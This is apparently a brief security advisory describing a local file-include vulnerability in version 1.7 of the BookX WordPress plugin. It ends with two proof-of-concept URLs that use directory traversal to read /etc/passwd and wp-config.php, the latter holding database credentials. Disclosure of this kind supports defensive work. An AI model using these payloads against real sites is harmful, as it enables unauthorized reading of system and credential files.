source: https://www.securityfocus.com/bid/68556/info

BookX plugin for WordPress is prone to a local file-include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information; other attacks are also possible.

BookX plugin 1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php